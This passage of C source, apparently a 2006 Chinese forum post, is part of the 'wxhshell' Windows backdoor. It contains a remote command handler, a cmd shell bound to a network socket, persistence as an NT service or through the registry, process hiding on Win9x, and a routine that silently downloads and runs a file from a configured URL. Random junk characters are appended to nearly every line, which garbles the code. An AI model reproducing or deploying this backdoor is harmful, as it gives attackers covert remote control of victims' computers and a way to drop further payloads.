  else { ` C d!  
tJ\v>s-f  
    switch(cmd[0]) { }!xc@  
  5OPvy,e6  
  // 帮助 %>/&&(BE  
  case '?': { c)Ng9p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S*n5d>;  
    break; 3 }sy{Mx%9  
  } {li Q&AZ  
  // 安装 uo?R;fX26  
  case 'i': { yOD=Vc7i  
    if(Install()) mph9/ %]S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_.:O,^n^  
    else kbvF 9#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )" Z|x  
    break; c0l?+:0M  
    } ^:$ShbX"P  
  // 卸载 S@[NKY  
  case 'r': { ^[R/W VNk  
    if(Uninstall()) hKh ad8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H6 ,bpjY  
    else Ve9) ?=!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Ou]!AOhG  
    break; p<pGqW  
    } 'Sgz\ =K  
  // 显示 wxhshell 所在路径 Zcw <USF8  
  case 'p': { :3s^, g  
    char svExeFile[MAX_PATH]; T+gH38!e  
    strcpy(svExeFile,"\n\r"); 89KFZ[.}]  
      strcat(svExeFile,ExeFile); ffI=Bt]t  
        send(wsh,svExeFile,strlen(svExeFile),0); 00SS<iX  
    break; J!|R1  
    } w`< {   
  // 重启 mm*nXJ  
  case 'b': { sSk qU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); } gwfe H  
    if(Boot(REBOOT)) wmX(%5vY^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !]fSS)\H  
    else { UCj<FN `  
    closesocket(wsh); xY.?OHgG/  
    ExitThread(0); M<= e~';H  
    } "9X!Ewm"P  
    break; *q\>DE=7  
    } s^.tj41Gx}  
  // 关机 n'j}u  
  case 'd': { <Mj{pN3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n``9H 91  
    if(Boot(SHUTDOWN)) JSylQ201  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =j20A6gND  
    else { hhWy-fP#  
    closesocket(wsh); )p#L"r^)  
    ExitThread(0); m$hkmD|  
    } 8 .K; 2  
    break; h3GUFiZ.  
    } ']sj W'~  
  // 获取shell S{)K_x  
  case 's': { B\aVE|~PB  
    CmdShell(wsh); Hj`\Fm*A  
    closesocket(wsh); |+[Y_j  
    ExitThread(0); j B1ZF#  
    break; 9; 9ge  
  } C7AD1rl  
  // 退出 }}rp/16  
  case 'x': { :AQ9-&i/a-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rR/{Yx4  
    CloseIt(wsh); P0sAq7"  
    break; \"L0d1DK)  
    } &sYxe:H  
  // 离开  !I&,!$  
  case 'q': { 3xdJ<Lrq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )%kiM<})  
    closesocket(wsh); 'mm>E  
    WSACleanup(); ly_8p63-  
    exit(1); [}l 90lP  
    break; QctzIC#;k  
        } z;/8R7L&  
  } 8^_e>q*W  
  } q \fyp\z  
zMO#CZ t  
  // 提示信息 f+1'Ah0'E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w8:  
} "(dI/}  
  } 2 J3/Eu  
yh|+Usa  
  return; C(z 'oi:f  
} u i$4  
.wlKl[lE2  
// shell模块句柄 !mB `FC  
int CmdShell(SOCKET sock) GDiyFTr  
{ P*U^,Jh<  
STARTUPINFO si; Oz&*A/si+3  
ZeroMemory(&si,sizeof(si)); Mc(|+S@w'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tGbx/$Y   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cW"DDm g  
PROCESS_INFORMATION ProcessInfo; oS<Gj I:  
char cmdline[]="cmd"; !h<O c!9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dbq/t^  
  return 0; vM$hCV ~N  
} ma<uXq  
Z#^|h0  
// 自身启动模式 JY;u<xl  
int StartFromService(void) 23,pVo  
{ s aHY9{)  
typedef struct 6-g>(g   
{ PDz:x4A  
  DWORD ExitStatus; W!Hn`T   
  DWORD PebBaseAddress; `CBXz!v!O  
  DWORD AffinityMask; ukc 7Z OQ  
  DWORD BasePriority; Q00v(6V46  
  ULONG UniqueProcessId; cD)9EFo  
  ULONG InheritedFromUniqueProcessId; ]w$cqUhM  
}   PROCESS_BASIC_INFORMATION; <r>Sj /w<D  
Q 8;JvCz   
PROCNTQSIP NtQueryInformationProcess; * {~`Lw)y  
{{>,c}O /  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dxH\H?NO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,`k6 @4  
kUT^o  
  HANDLE             hProcess; X%N!gy  
  PROCESS_BASIC_INFORMATION pbi; ^,5%fl  
)l! `k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6U$e;cr6  
  if(NULL == hInst ) return 0; :xbj& l  
qdmAkYUC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }; M@JMu,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yo=$@~vN]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EA9.?F  
g>w {{G  
  if (!NtQueryInformationProcess) return 0; UugR  
Qb55q`'z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w:iMrQeJg  
  if(!hProcess) return 0; wPu.hVz  
'jO8C2Th%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G -K{  
~Z*7:bPN!^  
  CloseHandle(hProcess); 0 z]H=  
HY?#r]Ryt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eOkiB!G.  
if(hProcess==NULL) return 0; nm]lPKU+Y  
)PYh./_2  
HMODULE hMod; ~ qaT jSP  
char procName[255]; H+]h+K9\7  
unsigned long cbNeeded; 1LhZmv  
+Wy`X5v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gyV`]uqG  
-1NR]#P'  
  CloseHandle(hProcess); >&R@L KP  
.J&89I]U  
if(strstr(procName,"services")) return 1; // 以服务启动 SDNRcSbOD6  
05\0g9  
  return 0; // 注册表启动 Qy}pn=#Q  
} skTa IGRL  
yJO Jw o^  
// 主模块 &(l.jgqg&  
int StartWxhshell(LPSTR lpCmdLine) =h +SZXe<r  
{ O@W/s!&lFa  
  SOCKET wsl; XqhrQU|wM  
BOOL val=TRUE; -"a(<JC^NI  
  int port=0; 8t, &dq  
  struct sockaddr_in door; L:mE)Xq2  
rz-61A) _  
  if(wscfg.ws_autoins) Install(); `d4xX@  
&y|PseH"  
port=atoi(lpCmdLine); v@8SMOe %  
*zDDi(@vtK  
if(port<=0) port=wscfg.ws_port; o"L8n(\  
"rEfhzmyF  
  WSADATA data; BD}%RTeWKq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <exyd6iI  
9^N(s7s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3 Fy C D4#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .0gfP4{1{  
  door.sin_family = AF_INET; &`vThs[x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V>Xg\9B_  
  door.sin_port = htons(port); =_g#I  
PNo:vRtsq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `' EG7  
closesocket(wsl); Vkd_&z7  
return 1; 5 $$Cav  
} %21|-B  
vdB2T2F  
  if(listen(wsl,2) == INVALID_SOCKET) { m-;8O /  
closesocket(wsl); K7(k_4  
return 1; G,^ ?qbHg  
} 8\:>;XG6f  
  Wxhshell(wsl); QJiH^KY6  
  WSACleanup(); B"#pvJN  
omy3<6  
return 0; #Yp&yi }  
S Te8*=w  
} KSEKoHJo  
&(Hw:W 9  
// 以NT服务方式启动 ZU.E}Rn:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &2 *  
{ \T<F#a  
DWORD   status = 0; y!R9)=/M  
  DWORD   specificError = 0xfffffff; r2i]9>w  
:AqtPV'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KD+&5=Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4^nHq 4_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q(hBqUW  
  serviceStatus.dwWin32ExitCode     = 0; ^J^FGo|M  
  serviceStatus.dwServiceSpecificExitCode = 0; P_  8!Gp  
  serviceStatus.dwCheckPoint       = 0; Fn4yx~0  
  serviceStatus.dwWaitHint       = 0;  ^4Xsdh5  
8'TIDu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oAB:H \  
  if (hServiceStatusHandle==0) return; 7F~gA74h  
T;{:a-8  
status = GetLastError(); Z(R0IW  
  if (status!=NO_ERROR) 7 H:y=?X6  
{ opN4@a7l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y9vi&G?Jl  
    serviceStatus.dwCheckPoint       = 0; i`];xNR'  
    serviceStatus.dwWaitHint       = 0; S*J\YcqSC  
    serviceStatus.dwWin32ExitCode     = status; l7VTuVGUJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; F|.tn`j]U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M}CxCEdDB]  
    return; 8)pL0bg  
  } g=qaq  
NYG!\u\Rm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `Eu,SvkFw  
  serviceStatus.dwCheckPoint       = 0; Pw7uxN`  
  serviceStatus.dwWaitHint       = 0; P(Zj}tGN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \{~CO{II  
} |#yT]0L%pA  
ru`U/6 n  
// 处理NT服务事件,比如:启动、停止 5|Z8UzL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,1~zMzw^  
{ g`C8ouy  
switch(fdwControl) [E6ceX0  
{ uW#s;1H.)  
case SERVICE_CONTROL_STOP: NW3qs`$-(  
  serviceStatus.dwWin32ExitCode = 0; Lz-|M?(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !io1~GpKS  
  serviceStatus.dwCheckPoint   = 0; 8tna<Hx  
  serviceStatus.dwWaitHint     = 0; gV h&c 4  
  { _j0xL{&&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g&EK^q  
  } P2C>IS  
  return; J65:MaS  
case SERVICE_CONTROL_PAUSE: 2*#i/SE_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zF{~Md1  
  break; Pi9?l>  
case SERVICE_CONTROL_CONTINUE: vZ57 S13  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4(oU88 z  
  break; `{ HWk^  
case SERVICE_CONTROL_INTERROGATE: S+- $Ih`[  
  break; soQ[Zg4}  
}; .oTS7rYw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yJ0 %6],^g  
} xJU]py~o  
"X;5* 4+  
// 标准应用程序主函数 UF }[%Sa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IhZn  
{ 2e-bt@0t  
U/cj_}uX  
// 获取操作系统版本 4e AMb  
OsIsNt=GetOsVer(); XOI"BLd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yqL"YD  
!~R<Il|B  
  // 从命令行安装 e?B}^Dk0i  
  if(strpbrk(lpCmdLine,"iI")) Install(); CnZEBAU  
>qr/1mW  
  // 下载执行文件 lA1  
if(wscfg.ws_downexe) { GRkN0|ovfj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~tRGw^<9  
  WinExec(wscfg.ws_filenam,SW_HIDE); |mRlP5  
} hAc|a9 o  
t0@AfO.'1  
if(!OsIsNt) { X/vyb^:U  
// 如果时win9x,隐藏进程并且设置为注册表启动  |:x,|>/  
HideProc(); HQ7g0:-^a>  
StartWxhshell(lpCmdLine); A?}[rM Z  
} (jj`}Qe3U  
else G}+@C]  
  if(StartFromService()) 8HJ,6Lr;  
  // 以服务方式启动 i '*!c  
  StartServiceCtrlDispatcher(DispatchTable); \O;/wf0Hg  
else  8 zlvzp  
  // 普通方式启动 e`LkCy[_  
  StartWxhshell(lpCmdLine); oPni4^g i  
t^zE^:06  
return 0; D& o\q68W  
}
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只看该作者 1 发表于: 2006-10-10
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